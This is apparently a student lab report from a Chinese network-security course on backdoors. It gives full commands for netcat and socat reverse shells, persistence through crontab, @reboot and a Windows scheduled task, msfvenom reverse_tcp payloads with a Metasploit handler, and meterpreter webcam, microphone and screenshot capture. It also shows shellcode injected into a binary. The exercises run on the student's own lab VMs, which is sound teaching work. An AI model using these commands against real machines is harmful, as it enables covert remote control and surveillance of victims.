1.实验内容
基本实验内容如下:
- 学习使用远程连接、结合-e类命令攻击主机,运行恶意文件;
- 了解基本的远程连接工具;
- 了解MSF meterpreter这一综合工具;
- 了解长期控制的简单方式;
实验要求回答问题及解答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
这么说吧,同学趁我洗澡给我电脑设一个定时任务反向连接到他的攻击机上,
我们在宿舍又是公用一个WLAN校园网,他用MSF meterpreter就可以获取我的截屏/录音/shell等等。
很隐蔽,而且我很难发现。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1. 通用的,直接执行exe(win)或者elf(linux)可执行恶意文件。
2. Win还可以设置开机自启动项等;
3. Linux还可以设置crontab任务等;
(3)Meterpreter有哪些给你印像深刻的功能?
它很综合,集成了很多功能。
首先它具有远程连接和监听的功能,还能在建立连接后使用截屏/查看摄像头等功能,很强大。
还可以在正常的elf文件中注入恶意shellcode,不用我们人为的构造,很方便。
(4)如何发现自己有系统有没有被安装后门?
因为我的攻防知识还很薄弱,所以我把判断权交给360。
2.实验过程
总共5个任务,如下:
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
我们一个一个来看。
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
首先你需要准备两台机器,一台作为攻击机,一台作为被攻击机。
在这里我采用的是两台Kali虚拟机。当然你采用windows也差不多。
(两台虚拟机)
Kali是自带很多网络工具包括后面需要用到的MSF meterpreter。同样也带有我们现在需要使用的netcat.
(1.1)原理:
有一个命令可以让机器远程连接建立后自动执行本机上的某个指定文件。由于shell一般也是bin/sh文件或者bin/bash文件,
我们可以想办法让被攻击机连接攻击机,并在连接后执行其sh文件(即shell)。
如果要长期控制,最好定时让被攻击机主动向攻击机发起连接并执行sh文件,这时候
可以使用linux的crontab在被攻击机上设置一个定时任务,定时让被攻击机主动向攻击机发起连接并执行sh文件。
(1.2)步骤:
- 使用netcat直连
在攻击机输入命令netcat -lvp 9999
监听9999端口。
攻击者守株待兔,监听9999端口。
-l指的是监听,-v指的是详细信息, -p指定监听的端口
在被攻击机输入命令netcat -e /bin/sh 192.168.126.129 9999
这玩意-e是表示:一旦建立连接就在本主机执行后续目录文件(在这里是~/bin/sh)。
查看攻击机,发现连接已经建立,可以获取shell,没问题。如下图。可以看到,获取了克隆机的shell,ifconfig显示的是被攻击机的ip
2.用crontab定时
上面说过了为什么使用crontab,再次不再赘述原理。
在被攻击机上输入crontab -e
进入定时任务编辑,在文本末尾添加12 **** /bin/netcat 192.168.126.129 9999 -e /bin/sh
,
指的是每小时的第12分钟会自动执行反射连接。
然后我们回去攻击机监听本机的9999窗口(netcat -lvp 9999
),等待16:12的到来即可。
到16:12时,成功建立连接,得到shell。
(2)使用socat获取主机操作Shell, 任务计划启动
(2.1)原理:
socat和netcat本质上差不多,可以算作是netcat的升级版。
原理也类似,都是通过建立连接从而执行shell文件的方式获取shell。这里我们采用Linux攻击机正向连接的方式。
稍有不同的是这个任务要求使用windows的任务计划,和linux的crontab类似,只不过是使用GUI界面设置代替命令行操作。
(2.2)步骤:
Windows按下win+r后输入compmgmt.msc
,后填写任务名称,并新建一个触发器(当Windows工作站锁定时执行)如下图:
在操作->新建->程序或脚本中选择你的socat.exe文件的路径,
在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5205,同时把cmd.exe的stderr重定向到stdout上。
简而言之就是可以使用Linux进行连接,连接成功后可以获取Windows的shell。操作如下图。
设置完毕后,使用Win+L锁定一下我们的计算机。
解锁后发现可以发现已经启动了socat监听,监听端口为5205。
在Kali攻击机上输入socat - tcp:192.168.212.224:5205
主动连接我们的windows即可获取shell。
事后记得关掉任务计划,方法如下:
(2.3)额外:
另外,如果是两台虚拟机kali进行这个实验的话,依然是通过crontab来实现的。
攻击机kali使用命令socat -d -d TCP-LISTEN:4444 STDOUT
进行监听。这个代码也是简单的执行了一个监听端口然后将监听到的数据输出到标准输出流。
后面的-d -d参数是详细说明信息的意思。
第二个任务要求我们用任务计划启动反射连接,在这里我设置一下重启(reboot)启动。
在被攻击机Kali使用crontab -e
写入@reboot /usr/bin/socat TcP:192.168.126.129:4444 EXEC:/bin/bash
至末尾。
然后我们重启一下被攻击机,当被攻击机启动完成后返回攻击机界面,可以发现已经获取shell。
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
这边也是很幸运啊发现kali是自带meterpreter的。
(3.1)原理:
生成可执行的恶意文件发给被攻击机,一旦恶意文件被执行就反向连接攻击机的主机然后提供自己的shell。
利用netcat进行恶意文件的发送,原理如下图:
(3.2)步骤:
在攻击机使用命令msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=4444 -f elf -o payload.elf
构造一个恶意文件。
elf是Linux下的可执行文件格式,对标windows的exe文件。
这边也是生成成功了。报的一些提示性语句不用管没啥问题。
我们用ncat完成传输。在这里选择4445端口建立连接。在攻击机上使用命令nc -lvnp 4445 < payload.elf
然后使用被攻击机主动连接。命令nc 192.168.126.129 4445
在被攻击机上使用file /tmp/payload.elf,我们可以看到,确实这个可执行文件已经被传输过来了。
请注意,传输的时候使用的是4445端口,而恶意代码使用的是4444端口,应当区分。
后再在被攻击机修改恶意文件的x权限位,使其可被系统加载执行。chmod +x/tmp/payload.elf
ls -l /tmp/payload.elf
命令可以检验其权限。
完事后,我们先不运行这个后门程序,先在攻击机上建立对端口4444的监听。
在攻击机上使用msfconsole -q
进入Metasploit控制台,(-q是安静模式可以少点启动输出,你不-q也没问题)
然后使用如下命令配置监听模块:
use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset LHOST 192.168.126.129 # 必须与生成payload时一致set LPORT 4444
大致原理是利用上面的一串东西,你可以监听指定端口,确保收到连接后自动匹配payload类型。
这么个效果。然后用 exploit
开始监听。
这时候再去被攻击机启动我们的后门文件。使用/tmp/payload.elf &
启动即可。&参数可以让进程转入后台运行。
返回攻击机,发现拿下了shell。使用ifconfig确认控制了被攻击机的shell(192.168.126.131)。
维持这个界面可以接下来完成我们的任务四。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(4.1)原理:
这里输代码会用就行了。
(4.2)步骤:
维持连接,输入webcam snap
尝试获取摄像头。我的kali是没有摄像头的,所以不用想盗取我的摄像头了。
输入record_mic
尝试录音。(Windows可用,Linux特定版本不支持)
输入screenshot
尝试截屏。(Windows可用,Linux特定版本不支持)
获取shell后可以设置crontab定时运行后台文件以便长久控制,如下图:
以上。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
(5.1)原理:
MSF软件很强大,能自动生成恶意shellcode注入到正常的文件中,使其执行后会自动执行反向连接交出shell的操作。
本次实验以实验1的pwn1为例。
在这一例里我们自己获取自己的shell,为了简单操作。
(5.2)步骤:
首先先把pwn1移动到我们的攻击机kali上准备注入shellcode。这个过程不再赘述。
使用msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.129 LPORT=8888 -x /home/kali/pwn1 -f elf > 20232313_pwn
这个命令将pwn1注入shellcode后生成一个20232313_pwn的恶意文件。
LHOST=192.168.126.129是攻击者的 IP 地址;-p linux/x86/meterpreter/reverse_tcp指的是针对 Linux x86 系统的 Meterpreter 反向 TCP 负载。
生成成功后如下所示:
在攻击机上使用msfconsole -q
进入Metasploit控制台,然后启动监听模块监听8888端口:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.126.129
set LPORT 8888
然后输入exploit
开始监听8888。然后,我们再另外新开一个shell运行我们刚刚生成的恶意文件20232313.pwn,即可看到在另一个终端获取了我们自己的shell。
3.问题及解决方案
- 问题1:我的windows在使用socat成功获取了被攻击机kali的shell,
但是在传输windows输入流数据的时候,输入的字符串会默认携带一个"\r"标志,这个标志
导致了虽然我获取了kali的shell,仍然难以正确执行命令。 - 问题1解决方案:
换两台Kali进行对攻。或者让自己的Windows变成被攻击机。都可以验证任务二。 - 问题2:简单易懂的实验报告不好找。
- 问题2解决方案:问同学哪个报告好用用哪个。我的评价是正确的选择大于自己乱想。自己随便做容易报错还费时费力,
时间全花在配置环境上了,真正的原理反而学得少。
4.学习感悟、思考等
站在巨人的肩膀上干活事半功倍。
参考资料
- 2019-2020-2 20175205侯颖《网络对抗技术》Exp2 后门原理与实践